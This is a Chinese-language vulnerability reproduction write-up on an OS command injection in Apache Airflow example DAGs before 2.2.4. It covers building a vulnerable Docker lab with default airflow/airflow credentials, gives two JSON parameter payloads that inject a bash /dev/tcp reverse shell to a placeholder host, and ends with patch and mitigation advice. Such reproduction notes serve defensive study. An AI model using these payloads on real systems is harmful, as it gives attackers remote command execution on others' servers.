0x01 简介Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。0x02 漏洞概述Apache Airflow 存在操作系统命令注入漏洞,该漏洞的存在是由于某些示例dag中不正确的输入验证。远程未经身份验证的攻击者可利用该漏洞可以传递专门制作的HTTP请求,并在目标
0x01 简介
Apache Airflow是美国阿帕奇(Apache)基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。
0x02 漏洞概述
Apache Airflow 存在操作系统命令注入漏洞,该漏洞的存在是由于某些示例dag中不正确的输入验证。远程未经身份验证的攻击者可利用该漏洞可以传递专门制作的HTTP请求,并在目标系统上执行任意操作系统命令。该漏洞允许远程攻击者可利用该漏洞在目标系统上执行任意shell命令。
0x03 影响版本
Apache Airflow < 2.2.4
0x04 环境搭建
使用docker搭建存在漏洞的系统版本
获取yaml文档
代码语言:javascript复制curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.2.3/docker-compose.yaml'
vim docker-compose.yaml
把这两个参数改成下面的,选择postgres的latest版本,privileged=true就是提升权限
image: postgres:latest
privileged: true(没有就加一个)
然后wq保存
在这里你用docker-compose config -q会有一个警告的,为了不报这个警告官网也推荐了以下这个方式
代码语言:javascript复制mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
直接执行即可
初始化
docker-compose up airflow-init
docker-compose后台启动airflow
代码语言:javascript复制docker-compose -f docker-compose.yaml up -d
启动完成,浏览器打开ip:8080端口
用户名:airflow
密码:airflow
登陆,环境搭建完成
0x05 漏洞复现
参考漏洞提交者的文章
https://hackerone.com/reports/1492896
两处RCE均为后台漏洞(需要配合未授权或者默认口令漏洞进行利用)
第一处:
开启监听
反弹shell
代码语言:javascript复制{"foo":"";bash -i >& /dev/tcp/xx.xx.xx.xx/8881 0>&1;""}
反弹成功
第二处:
开启监听
代码语言:javascript复制{"my_param":"";bash -i >& /dev/tcp/xx.xx.xx.xx/8881 0>&1;""}
反弹成功
0x06 修复方式
1、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
http://seclists.org/oss-sec/2022/q1/160
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
原文由:Timeline Sec